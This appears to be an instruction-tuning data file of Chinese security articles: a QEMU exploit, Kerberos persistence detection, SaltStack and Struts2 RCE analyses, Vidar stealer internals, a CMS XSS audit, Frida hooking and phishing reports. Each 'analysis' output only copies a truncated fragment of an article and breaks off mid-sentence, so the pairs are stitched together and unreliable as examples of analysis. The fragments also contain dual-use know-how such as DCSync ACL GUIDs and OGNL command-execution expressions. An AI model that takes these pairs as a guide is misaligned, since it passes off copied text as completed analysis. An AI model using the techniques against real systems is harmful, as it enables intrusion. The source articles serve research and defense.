查看`vexx_class_init`函数，知道了`vendor_id`是`0x11E91234`，`realize`函数是`pci_vexx_realize`。
    # lspci
    00:01.0 Class 0601: 8086:7000
    00:04.0 Class 00ff: 1234:11e9
    ...
    # cat /sys/devices/pci0000:00/0000:00:04.0/resource
    0x00000000febd6000 0x00000000febd6fff 0x0000000000040200
    0x00000000febd0000 0x00000000febd3fff 0x0000000000140204
    ...
    # cat /proc/iomem
    ...
      febd0000-febd3fff : 0000:00:04.0
    ...
      febd6000-febd6fff : 0000:00:04.0
    ...
通过命令知道了该设备有两个MMIO地址空间，一个地址为`0xfebd0000`，大小为`0x4000`；另一个则地址为`0xfebd6000`，大小为`0x1000`。
去看`pci_vexx_realize`函数：
    void __fastcall pci_vexx_realize(VexxState *pdev, Error_0 **errp)
    {
      ...
      if ( !msi_init(&pdev->pdev, 0, 1u, 1, 0, errp) )
      {
        timer_init_full(&v2->vexxdma.dma_timer, 0LL, QEMU_CLOCK_VIRTUAL, 1000000, 0, (QEMUTimerCB *)vexx_dma_timer, v2); //注册 vexx_dma_timer
        ...
        memory_region_init_io(&v2->mmio, &v2->pdev.qdev.parent_obj, &vexx_mmio_ops, v2, "vexx-mmio", 0x1000uLL);  //注册大小为0x1000的mmio
        memory_region_init_io(&v2->cmb, &v2->pdev.qdev.parent_obj, &vexx_cmb_ops, v2, "vexx-cmb", 0x4000uLL);        //...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 不看不知道，原来00后“小司机”也翻车！
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
年纪轻轻学会了上网，常年网上走，就能成为“老司机”吗？
NO！
根据以往的情况看，谁经常上网，谁就是网络威胁的受！害！者！
尚处于年少阶段的00后虽触网较早但防骗意识严重不足，已逐渐成为了不法分子眼中的“肥肉”。
大数据显示38.6%的00后收到了一份最不想要的“成人礼”！00后已经由过去的第三、第四突然跃居到网络诈骗受害者数量第一的位置。
颠覆认知！！！钓鱼网站比去年多7！倍！世界杯博彩诈骗，让人比梅西更慌
2018年上半年，我们竟然经历如此之多！用大数据揭秘生活工作中我们面临的那些“深坑”！如何避免“踩坑”？
您的浏览器不支持video标签


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 攻击检测之域权限维持
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.背景介绍
本文主要是对域环境下的权限维持手法进行攻击检测以及清理，攻击的方法不着重描述，检测的方法只针对终端日志（windows，sysmon）,权限维持的手法也只涉及域环境独有的，像普通终端也存在的启动项计划任务服务等不考虑在内，利用漏洞的也直接排除了直接打补丁就好了。
## 2.域持久化
###  1.黄金票据
**1.攻击手法介绍**
黄金票据（Golden Ticket)：它能在拥有普通域用户权限和krbtgt
hash的情况下，获取域管理员权限。krbtgt账户：每个域控制器都有一个”krbtgt”的用户账户，是KDC的服务账户，用来创建票据授予服务(TGS)加密的密钥。
图中我伪造了一个名为ceshi的账户,这里其实任何账户都行域里不存在账户也可以随便伪造（微软的MS-KILE解释：Kerberos
V5不提供对TGS请求的帐户撤销检查，只要TGT有效，即使该帐户已被删除，TGT更新和服务票据也可以发布。KILE提供了一个可以将利用时间限制在较短的时间内（20分内）。当TGT大于20分钟时，KILE
KDC需要在域中检查账户。
）
**2.攻击检测**
windows4624记录了安全IDadministrator在10.43.120.26地址登陆，并且账户名与安全ID(500代表了域管账号)并不一致,安全ID其实就是SID，事件查看器会自动尝试解析
SID 并显示帐户名。 如果无法解析
SID，将在事件中看到源数据，正常来说账户名应该与安全ID对应，这里很明显ceshi账户是伪造的,但是攻击者只要伪造administrator名字来伪造票据就可以躲过了，但是administrator在非常用的IP地址段出现就是异常的了这里也可以检测一下。黄金票据攻击在终端日志侧不是很明显的能够检测，很难区分他是不是正常的，正常来说认证访服务的流程是先4768（TGT）-4769（TGS）-4624（logon），但是黄金票据攻击的话只会有4769-4624，因为TGT已经离线生成了。但是kerberos票据的有效期一般是4个小时（特殊组的用户）或者是10个小时，也就是说TGT在之前申请过了就可以保留4-10个小时之间那么这个时间触发攻击还是只有4769-4624，最好还是流量检测黄金票据攻击。
**3.防御清除**
如果通过告警已经确定了攻击者已经拿下了域控那么肯定会导出所有账号密码，黄金票据是肯定是存在的，这个时候就需要修改krbtgt账号的密码了，需要修改两次。（Active
Directory中对定期迭代的帐户防止密码重用，默认密码策略被设置为记住24个历史密码，而且至少也要迭代一次保存于电脑帐户。即使密码已更新,也会继续使用前面的密码散列进行身份验证）,如果不是很紧急的话最好不要连续修改2次密码，这样会引起域内工作不正常，最好是10个小时以后再修改第二次krbtgt的密码。官方有专门的重置密码的脚本https://github.com/microsoft/New-KrbtgtKeys.ps1,建议使用官方脚本进行重置，并且定期重置一次。
###  2.DCSYNC维持权限
**1.攻击手法介绍**
DCSync是mimikatz的一个功能，能够模拟域控制器并从域控制器导出帐户密码hash，如果我们在域内一台主机上获得了域管理员权限，可以使用如下命令直接导出域内所有用户的hash：默认情况下，只有Domain
Controllers和Enterprise Domain
Admins权限能够使用DCSync但我们可以对域内普通用户添加如下两条ACL实现普通用户调用DCSync导出域内所有用户的hash
DS-Replication-GetChanges(GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)和DS-Replication-Get-Changes-All(1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
可以使用powerview添加ACL：<https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1>
我这里给win10用户添加了dcsync的权限，这样我在win10机器上也可以导出域内用户hash
**2.攻击检测**
从windows日志4662可以清楚的看到DS-Replication-GetChanges(GUID:
1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)和DS-Replication...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# SaltStack未授权RCE分析（CVE-2021-25281 25282 25283）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2月26号，那是一个风和日丽的夜晚，我看着电脑，电脑看着我。群里的大佬突然就甩了一个saltstack
未授权任意文件写入的poc，告诉我后面还有个RCE。我看着大佬，大佬看着我，我看了看自己日渐下降的技术，狠狠心跟了一波这个漏洞。
## 背景
SaltStack管理工具允许管理员对多个操作系统创建一个一致的管理系统，包括VMware
vSphere环境。SaltStack事件驱动的自动化软件帮助IT组织大规模管理和保护云基础设施，同时自动化高效编排企业DevOps工作流。
2月26号，SaltStack发布高危漏洞通告。漏洞通过 **CVE-2021-25281 未授权访问** 和 **CVE-2021-25282
任意文件写入** ，最后配合 **CVE-2021-25283 模板注入** 完成了未授权RCE的组合洞。
## Debug环境配置
去github挑一个漏洞范围内的版本下载下来，我下载的版本为salt-3002.1，环境为了方便调试选择Ubuntu
解压完进入scripts目录，里面是salt的启动脚本
    sudo cp -r * /usr/local/bin/
pip创建链接用的egg，方便一会直接debug
    pip3 install -e .
创建/etc/salt/目录，写入如下配置文件，为了方便 ~~偷懒~~ 调试，将disable_ssl设置为true，省去生成ssl证书的环节
/etc/salt/master.d/netapi.conf
    rest_cherrypy:
      port: 8000
      disable_ssl: True
    external_auth:
      pam:
        saltdev:
          - .*
          - '@wheel'   # to allow access to all wheel modules
          - '@runner'  # to allow access to all runner modules
          - '@jobs'    # to allow access to the jobs runner and/or wheel module
/etc/salt/master.d/autoaccept.conf
    auto_accept: True
启动测试一下
    sudo salt-master
    sudo salt-api -l all #打印所有信息
用vscode打开salt项目，创建lanuch.json文件
    {
        // Use IntelliSense to learn about possible attributes.
        // Hover to view descriptions of existing attributes.
        // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
        "version": "0.2.0",
        "configurations": [
            {
                "name": "FA1C0N",
                "type": "python",
                "request": "launch",
                "program": "/usr/local/bin/salt-api",
                "console": "integratedTerminal",
                "args": [
                  "-l","all"
                ],
                "sudo": true,
            }
        ]
    }
debug的时候先开个终端启动salt-master，再用vscode debug salt-api
## wheel_async未授权访问（CVE-2021-25281）& wheel/pillar_roots.py文件任意写漏洞
(CVE-2021-25282 )
直接访问salt-api的端口...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# CVE-2019-0230： S2-059 远程代码执行漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Hu3sky@360CERT
## 0x01 漏洞简述
2020年08月13日，
360CERT监测发现`Apache官方`发布了`Struts2远程代码执行漏洞`的风险通告，该漏洞编号为`CVE-2019-0230`，漏洞等级：`高危`。漏洞评分：`8.5`。
`攻击者`可以通过构造恶意的`OGNL表达式`，并将其设置到可被外部输入进行修改，且会执行`OGNL`表达式的`Struts2`标签的属性值，引发`OGNL表达式`解析，最终造成`远程代码执行`的影响。
对此，360CERT建议广大用户及时将`Apache Struts2`进行升级完成漏洞修复。与此同时，请做好资产自查以及预防工作，以免遭受黑客攻击。
## 0x02 风险等级
360CERT对该漏洞的评定结果如下
评定方式 | 等级
---|---
威胁等级 | 中危
影响面 | 一般
360CERT评分 | 8.5分
## 0x03 影响版本
  * Apache Struts2：2.0.0-2.5.20
## 0x04 漏洞详情
根据官方发布的信息来看，漏洞产生的主要原因是因为`Apache
Struts`框架在强制执行时，会对分配给某些标签属性(如`id`)的属性值执行二次`ognl`解析，对于精心设计的请求，这可能导致远程代码执行(`RCE`)。
官方给出的利用场景如下：
    <s:url var="url" namespace="/employee" action="list"/><s:a id="%{skillName}" href="%{url}">List available Employees</s:a>
这里的`id`属性里的值使用了`ognl`表达式进行包裹，同时该值如果可控，那么就会因为两次的解析而造成`ognl`表达式执行。
**该分析在较低版本中进行测试，仅对漏洞产生原理进行分析，如在高版本中进行执行命令，需绕过沙箱。**
### 拦截器处理请求值
首先，我们需要明确`jsp`是如何进行取值的。
在`com.opensymphony.xwork2.interceptor.ParametersInterceptor`这个拦截器里，会获取我们传入的值。
`ActionContext`存储着当前上下文的请求信息。
在`ParametersInterceptor`里，会把请求的值存入`ValueStack`类型的栈里，这里是`OgnlValueStack`，具体在`setParameters`里。
会调用`stack`的`setValue`方法进行赋值。
接着就会进行一系列复杂的处理，获取`action`指向的`jsp`。然后开始处理对应的`jsp`标签。
### id标签解析
在`org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag`方法中。
从`valueStack`里获取相关的请求值，然后调用`populateParams`方法，该方法对标签进行处理，其中包括`id`标签。
于是跟进`org.apache.struts2.components.Component#setId`方法。
`id`属性不为`null`，于是继续跟进`findString`方法。 然后跟入`findValue`，由于`altSyntax`默认为`true`(
_这个功能是将标签内的内容当作`OGNL`表达式解析，关闭了之后标签内的内容就不会当作`OGNL`表达式解析了_)，所以最终进入`translateVariables`方法(高版本对应的是`evaluate`方法)。
这里会对`id`，也就是`%{skillName}`进行`ognl`表达式执行，执行完剩余部分就是`skillName`。`translateVariables`代码如下：
    public static Object translateVariables(char[] openChars, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator, int maxLoopCount) {
            Object result = expression;
            char[] arr$ = openChars;
    int len$ = openChars.length;
      ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 程序分析理论 第三部分 控制流分析 理论证明
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这一篇文章是程序分析理论的理论部分的第七篇，是控制流分析部分的数学表示合理性的理论证明。
距离上一篇的发布已经很久了，所以做一个简单回顾。
目前讲了数据流分析过程间和过程内分析以及理论部分，其中理论部分讲到了结构归纳法，完全格和半序集。过程内分析有流分析，可用表达式Available
Expressions Analysis，结果表达式 Reaching Definition Analysis，必定使用表达式Very Busy
Expressions Analysis，活变量分析Live Variables
Analysis。（翻译为个人理解）以及UD链。过程间分析包括上下文敏感和流敏感以及指针表达式。以及上一篇的控制流分析的抽象化和数学表示。
## 结构上的操作语义 Structural Operational Semantics
理论分析需要借助结构归纳法，所以我们要先将代码描述成结构。由于我们不再记录每一步操作后的变量值，所以我们只记录最初值和变量名
v用来表示value值 ρ表示变量组
v要记录所在语句，变量组。所以我们可以列出这样的表达式：v ::= c | close t in ρ
相对的ρ要记录变量名和值 ： ρ ::= [] | ρ[x -> v]
也就有fn x => e_0可以表示为 close(fn x => e_0) in ρ
由于控制流分析不记录过程中变量的变化，所以会出现中间变量，也就是调用一个函数时，会有一个初始值，而整个程序也有一个初始值，函数的初始值就是中间变量，也就是局部变量。
我们用ie表示中间出现的表达式，it表示中间出现的项
表达式就是经过标签处理的代码，而项就是表达式中除去标签的部分。因为局部变量作用域需要记录，所以it会出现bind ρ in
ie来实现记录作用域。相对的其值也需要记录，所以it又会有close t in ρ的情况
## 例子 Examples
上述式子中包括let in 结构，fn结构以及fun f结构，首先对两个fn结构进行处理：fn y => y ^2 |- close(fn y => y
^2) 我们用id_y表示 fn z => z ^7 |- close(fn z => z ^7) 我们用id_z表示。然后是fun f 结构fun f x
=> (f ^1 (fn y => y ^2)) |- close(fun f x => (f ^1 (fn y => y ^2)))，我们用f表示。
对fn和fun f结构的处理主要是将函数转化为返回值形式作为参数实现控制流分析，也就是将操作当作参数。
let in结构则处理成控制流程图的形式：由于fun f 我们以f作为返回值，所以原结构变成 let g = f ^5 in (g ^6 (fn z =>
z ^7) ^8) ^9。而g = f ^5则是in部分的处理方式，我们记录g与f的转化关系记为bind[g -> f]。后续in部分g
^6由于g与f的转化关系我们将原结构处理成(f ^6 (fn z => z ^7) ^8) ^9。最后将fn z记为 id _z。
最终的表达方式是bind[g -> f] in (f ^6 id_z ^8) ^9。也就是先进行f操作再进行z操作得到的最终结果：(bind [ g ->
f] in (bind [ f-> f] [x -> id_z] in (f ^1(fn y => y ^2) ^3) ^4) ^9) ^10)
由于上述例子处于递归循环结构当中，我们要进行一定的处理，在这个处理过程中，我们不改变g和f的对应关系，也不改变z的操作，只是在函数循环过程中多次执行y操作实现循环，也就是(bind
[ g -> f] in (bind [ f-> f] [x -> id_z] in (bind [ f-> f] [x -> id_y] (f ^1(fn
y => y ^2) ^3) ^4) ^4) ^9) ^10)
## 语义正确Semantic Correctness
我们要证明控制流分析的语义是正确的，首先我们证明过程间的操作语义是合理的：也就是要证明close t in
p是合理的，即一个函数抽象t使用的参数一定包含于p中。除此之外，我们还要保证 t
的子语句中的ie一定是小于母语句中的ie的。这一点的证明我们只需要说明对于每一次调用都只使用本地环境，即任意参数被调用都在本地环境中存在，同时由于只使用本地环境，随着语句的不断更细的分析，ie一定是递减的。
所以对于语义分析，存在一定条件使得上述等式成立：
对于x ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Vidar窃密木马分析（上）
|
##### 译文声明
本文是翻译文章，文章原作者 fumik0，文章来源：fumik0.com
原文地址：<https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
有时，当你对海量的恶意软件检测结果进行分析时，你可能并不希望一些看似无关痛痒的小细节会对最终的判定造成影响。
前不久，我因为将遇到的恶意软件误认为 Arkei（一款功能强大的窃密木马）而付出了代价。根据当时我设置的Yara规则，显示匹配到的是
Arkei，但是经过逆向分析之后，我发现遇到的这个恶意软件并非Arkei。一些与Arkei特征相关的字符串都被删除了，取而代之的是“Vidar”。经过深度分析后，我发现
它是由Arkei优化改进得到的，除了一些细节之外，其他部分和Arkei区别不大。
这款恶意软件使用C++编写，似乎在2018年10月初就已经开始活动，它具有窃取木马的所有典型功能：
  * 搜索特定文档
  * 从浏览器窃取cookie
  * 窃取浏览器历史记录（包括tor浏览器）
  * 窃取数字货币钱包
  * 从带有2FA（双因素认证）的软件窃取数据
  * 从消息应用中窃取数据
  * 屏幕截图
  * 安装Loader
  * Telegram通知（服务器端）
  * 获取受害者计算机信息快照
在黑市/论坛中，这款窃密木马以250-700美元的价格进行出售。购买后，可以通过访问C2域名来生成专属的payload，所以没有统一管理端。除此之外，C2域名每4天就会进行更新。
在本文中，我将对4.1版本的Vidar进行深入分析，并介绍其管理面板，说明它和Arkei的差异。
## 定向投递
首先，如果受害者机器使用[GetUserDefaultLocaleName](https://docs.microsoft.com/en-us/windows/desktop/api/winnls/nf-winnls-getuserdefaultlocalename)来配置语言，我们可以使用很经典的方式（改变系统语言）来中止恶意软件。这也是检查恶意软件是否不会对一些特定的国家/地区进行感染最简单的办法之一。
正如MSDN所声明的，“local”中以集合的方式展示用户的语言偏好。窃密软件将检查被入侵主机的是否设置为以下语言：
谷歌一下，我们就能知道这是哪些哪些国家/地区的简称：
LCID Structure – <https://msdn.microsoft.com/en-us/library/cc233968.aspx>
Language Code Table – <http://www.lingoes.net/en/translator/langcode.htm>
LocaleName – <https://docs.microsoft.com/fr-fr/windows/desktop/Intl/locale-names>
Locale – <https://docs.microsoft.com/fr-fr/windows/desktop/Intl/locales-and-languages>
## 互斥体
对于每个受害者，Vidar将生成唯一的特征字符串。它的形成很简单，就是由2个字符串拼接后得到的。
**硬件配置ID**
[GetCurrentHwProfileA](https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-getcurrenthwprofilea)用于检索具有[szHwProfileGuid](https://docs.microsoft.com/en-us/windows/desktop/api/winbase/ns-winbase-taghw_profile_infoa)值的计算机的当前硬件配置信息。如果执行失败，它将返回“Unknown”。
**计算机GUID**
通过[RegOpenKeyExA](https://docs.microsoft.com/en-us/windows/desktop/api/winreg/nf-winreg-regopenkeyexa)，可以在注册表中获取该值：
`HKEY_LOCAL_MACHINESOFTWAREMicrosoftCryptographyMachineGuid`
Windows在安装操作系统时会生成[UUID](https://msdn....


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

最近在审计yunucms，审计了几个后台漏洞，有XSS和文件泄露几个。
## yunucms介绍
云优CMS是一款基于TP5.0框架为核心开发的一套免费+开源的城市分站内容管理系统。云优CMS前身为远航CMS。云优CMS于2017年9月上线全新版本，二级域名分站，内容分站独立，七牛云存储，自定义字段，自定义表单，自定义栏目权限，自定义管理权限等众多功能深受用户青睐。
## 建站
从[官网](www.yunucms.com/Buy/program.html)下载源码并进行过安装
需要注意的是需要填云账号，我去官网注册了一个随便填上了，账号testqwe，密码123456，手机号利用的在线短信注册的
填上MySQL密码即可
前台界面
## 漏洞复现
### XSS
#### 漏洞测试
后台TAG管理模块
进行添加TAG
在名称处填入XSS代码并提交
返回模块即可看到效果
查看源码，发现已经插入
查看数据库
#### 代码审计
    http://127.0.0.1/index.php?s=/admin/tagurl/addtagurl
该cms路由为`目录/文件/方法`，直接查看方法
    public function addTagurl()
        {
            if(request()->isAjax()){ # 判断是否是ajax请求
                $param = input('post.'); # 获取参数
                $tagurl = new TagurlModel();
                $flag = $tagurl->insertTagurl($param); # 将结果进行保存并返回响应
                return json(['code' => $flag['code'], 'data' => $flag['data'], 'msg' => $flag['msg']]);
            }
            return $this->fetch();
        }
跟进insertTagurl方法
    public function insertTagurl($param)
        {
            try{
                $result = $this->allowField(true)->save($param); # 保存当前数据对象
                if(false === $result){
                    return ['code' => -1, 'data' => '', 'msg' => $this->getError()];
                }else{
                    return ['code' => 1, 'data' => '', 'msg' => '添加TAG成功'];
                }
            }catch( PDOException $e){
                return ['code' => -2, 'data' => '', 'msg' => $e->getMessage()];
            }
        }
继续跟进save方法
    if (!empty($data)) {
                // 数据自动验证
                if (!$this->validateData($data)) { # 验证集为空，直接返回true
                    return false;
                }
                // 数据对象赋值
                foreach ($data as $key => $value) {
                    $this->setAttr($key, $value, $data); # 将参数赋值给$this->data数组
                }
                if (!empty($where)) {
                    $this->isUpdate = true;
                }
            }
    ......
    $result = $thi...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# FRIDA脚本系列（二）成长篇：动静态结合逆向WhatsApp

##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在[FRIDA脚本系列（一）入门篇：在安卓8.1上dump蓝牙接口和实例](https://www.anquanke.com/post/id/168152)中，我们学到了枚举模块中所有的类、子类及其方法，以及找到其所有重载，最终还通过蓝牙接口来小小的实战了一下。这一篇我们倒着来，从`hook`所有重载开始，写一个可以动态观察所有模块、类、方法等接口数据的工具出来。
## 0x01.hook方法的所有重载
在[一篇文章带你领悟Frida的精髓（基于安卓8.1）](https://github.com/hookmaster/frida-all-in-one/blob/master/03.%E5%9F%BA%E6%9C%AC%E6%A1%88%E4%BE%8B%E4%B8%8A%E6%89%8B/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E9%A2%86%E6%82%9FFrida%E7%9A%84%E7%B2%BE%E9%AB%93\(%E5%9F%BA%E4%BA%8E%E5%AE%89%E5%8D%938.1)/READMD.md)一文中，我们已经学会了对放的重载进行处理的方法，我们先回顾一下代码：
    my_class.fun.overload("int" , "int").implementation = function(x,y){
    my_class.fun.overload("java.lang.String").implementation = function(x){
也就是说我们需要构造一个重载的数组，并把每一个重载都打印出来。我们直接上代码：
    //目标类
    var hook = Java.use(targetClass);
    //重载次数
    var overloadCount = hook[targetMethod].overloads.length;
    //打印日志：追踪的方法有多少个重载
    console.log("Tracing " + targetClassMethod + " [" + overloadCount + " overload(s)]");
    //每个重载都进入一次
    for (var i = 0; i < overloadCount; i++) {
    //hook每一个重载
        hook[targetMethod].overloads[i].implementation = function() {
            console.warn("n*** entered " + targetClassMethod);
            //可以打印每个重载的调用栈，对调试有巨大的帮助，当然，信息也很多，尽量不要打印，除非分析陷入僵局
            Java.perform(function() {
                 var bt = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new());
                    console.log("nBacktrace:n" + bt);
            });
            // 打印参数
            if (arguments.length) console.log();
            for (var j = 0; j < arguments.length; j++) {
                console.log("arg[" + j + "]: " + arguments[j]);
            }
            //打印返回值
            var retval = this[targetMethod].apply(this, arguments); // rare crash (Frida bug?)
            console.log("nretval: " + retval);
            console.warn("n*** exiting " + targetClassMethod);
            return retval;
   ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Struts2 漏洞exp从零分析

##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
从零开始分析struts2代码执行exp，其中不但包括了struts2自己设置的防护机制绕过，还有ognl防护绕过。以s2-057为列，因为有三个版本的exp，从易到难，比较全。文章中包含的前置内容也比较多。
## 0x01 前置知识OGNL
struts2命令执行是利用ognl表达式，所以必须了解ognl。
###  1、HelloWorld
OGNL有三大要素，分别是表达式、Context、根对象。
使用ognl表达式的时候，是使用`Object ognl.Ognl.getValue(String expression, Map context,
Object root)` api执行ognl表达式。
参数说明：
`expression` ognl表达式
`context` 是一个实现了Map接口的对象
`root` bean对象
来写一个helloworld，将上面抽象的东西实践一番。
    class People{
        public Integer age;
        public String realName;
        public void setAge(Integer age) {
            this.age = age;
        }
        public void setRealName(String name) {
            this.realName = name;
        }
        public Integer getAge() {
            return this.age;
        }
        public String getRealName() {
            return this.realName;
        }
    }
    public class Temp {
        public static void main(String[] args) throws OgnlException {
            People root = new People();
            root.setAge(100);
            root.setRealName("lufei");
            OgnlContext context = new OgnlContext();
            context.put("nikename", "lufeirider");
            //注意非根对象属性，需要加上#号
            Object nikeName = Ognl.getValue("#nikename",context,root);
            System.out.println(nikeName);
            //使用跟对象属性时候，不需要加#号
            Object realName = Ognl.getValue("realName",context,root);
            System.out.println(realName);
            //@[类全名(包括包路径)@[方法名|值名]]
            //执行命令
            Object execResult = Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", context);
            System.out.println(execResult);
        }
    }
输出结果
    lufei
    lufeirider
    java.lang.ProcessImpl@1f17ae12
###  2、OgnlContext类
因为exp中常常利用赋值，改安全属性，而赋值操作在这个类中，所以好好看下这个类如何进行赋值与取值。（源码下载地址：[https://github.com/jkuhnert/ognl）](https://github.com/jkuhnert/ognl%EF%BC%89)
`public class OgnlContext extends Object implements Map`，它是实现了Map接口的类。...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

**译者：知道创宇404实验室翻译组**
**原文链接：<https://www.proofpoint.com/us/blog/threat-insight/geofenced-amazon-japan-credential-phishing-volumes-rival-emotet>**
### 介绍
自2020年8月以来，Proofpoint的研究人员跟踪了大量的Amazon
Japan凭证和信息网络钓鱼活动，这种可疑活动可追溯到2020年6月。这些信息冒充Amazon
Japan，暗示接收者需要检查他们的帐户，以确认“所有权”或“更新的付款信息”。单击邮件中的链接后，收件人将进入以Amazon为主题的凭证仿冒登录页面，这些页面收集凭证、个人识别信息（PII）和信用卡号码。这些信息已经被发送到日本的某些组织。这些页面被防护，以确保只有基于日本的收件人才能被带到凭证仿冒页面。
虽然像Amazon这样的流行品牌经常在凭证钓鱼活动中被滥用，但该活动的邮件信息量非常大。这些活动持续不断，每天发送数十万条信息。截至10月中旬，有时一天内收到的信息超过100万条，与Emotet的信息量不相上下。
### 诱饵和登陆页面
这些信息是精心制作的日语诱饵，提示收件人的信息需要更新或其帐户已被锁定：
  * Amazon.co.jpアカウント所有権の证明（名前，その他个人情报）の确认（“ Amazon.co.jp帐户（姓名和其他个人信息）的所有权证明的确认”）（图1）
  * お支払い方法の情报を更新（“更新的付款方式信息”）（图2）
  * アカウントがロックされたので，ご注意下さい（“请注意，您的帐户已被锁定”）（图3）
图1：带有主题的诱惑，“确认Amazon.co.jp帐户的所有权证明（名称和其他个人信息）”
图2：带有主题的诱饵，“更新的付款方式信息”
图3：带有主题的诱饵，“请注意您的帐户已被锁定”
邮件中的图片，比如Amazon的logo，都是从免费的图片托管服务中热链接而来的，同样的图片网址已经在多个活动中被观察到。
这些信息声称来自Amazon，尽管它们的电子邮件地址伪装的不太好，例如以下示例：
  * rmlirozna[@]pw[.]com
  * fwgajk[@]zfpx[.]cn
  * info[@]bnwuabd[.]xyz
  * dc[@]usodeavp[.]com
到2020年10月初，他们在努力使发件人地址看起来合法：
  * amaozn[@]ama2on[.]buzz
  * accout-update[@]amazon[.]co.jp
  * account-update[@]amazon[.]com
  * admin[@]amazon-mail[.]golf
在检查消息的URLs时，我们看到它们包含OpenID的参数（图4），这是Amazon
Japan使用的身份验证协议。这些URL似乎没有将用户带到OpenID实现中，但是URL字符串中的参数看起来更合法。
我们确定了一些URL中的占位符值，这表明有些消息可能过早发送，或者相应的值不可用（图4）。
图4：带有BRECEIVER_ADDRESS和BRAND_TEXT变量的URL
他们在某些URL中使用了一个占位符电子邮件地址“a@b.c”（图5）。在观察到的其他URL中，收件人电子邮件地址用来填充此参数。
 图5：URL用a@b.c和OpenID路径代替变量
单击后，消息中的geofenced链接会将用户带到一个冒充的Amazon Japan登录页面（图6），如果用户看起来不在日本，则转到实际的Amazon
Japan登录页面。
 图6：欺骗的Amazon Japan登录页面
使用Amazon用户名和密码“登录”后，该用户将被带到一个表单，该表单收集各种PII，例如地址，生日和电话号码（图7）。
图7：网络钓鱼登陆页面，要求用户的国家，名称，生日，邮政编码，县（州），街道地址，商户名称（可选）和电话号码
该表单还收集信用卡号（通过在同一站点上托管的脚本进行松散地验证）和邮政编码（通过对第三方服务的API调用进行验证）（图8、9）。有趣的是，虽然我们提供的邮政编码不是合法的日语邮政编码，但是在提交信息时未返回任何错误。
图8：指示最初提供的信用卡号（长度错误的随机数字字符串）无效
图9：截取的流量说明了对“zipcloud.ibsnet[.]co.jp”的调用以进行邮政编码验证，以及对“/ap/actions/validate?cxdi=”的调用以进行信用卡号验证。
提交有效信息后，告知用户现在可以访问帐户，并重定向到amazon.co[.]jp的真实Amazon Japan网站。
 图10：提交后页面通知用户可以访问...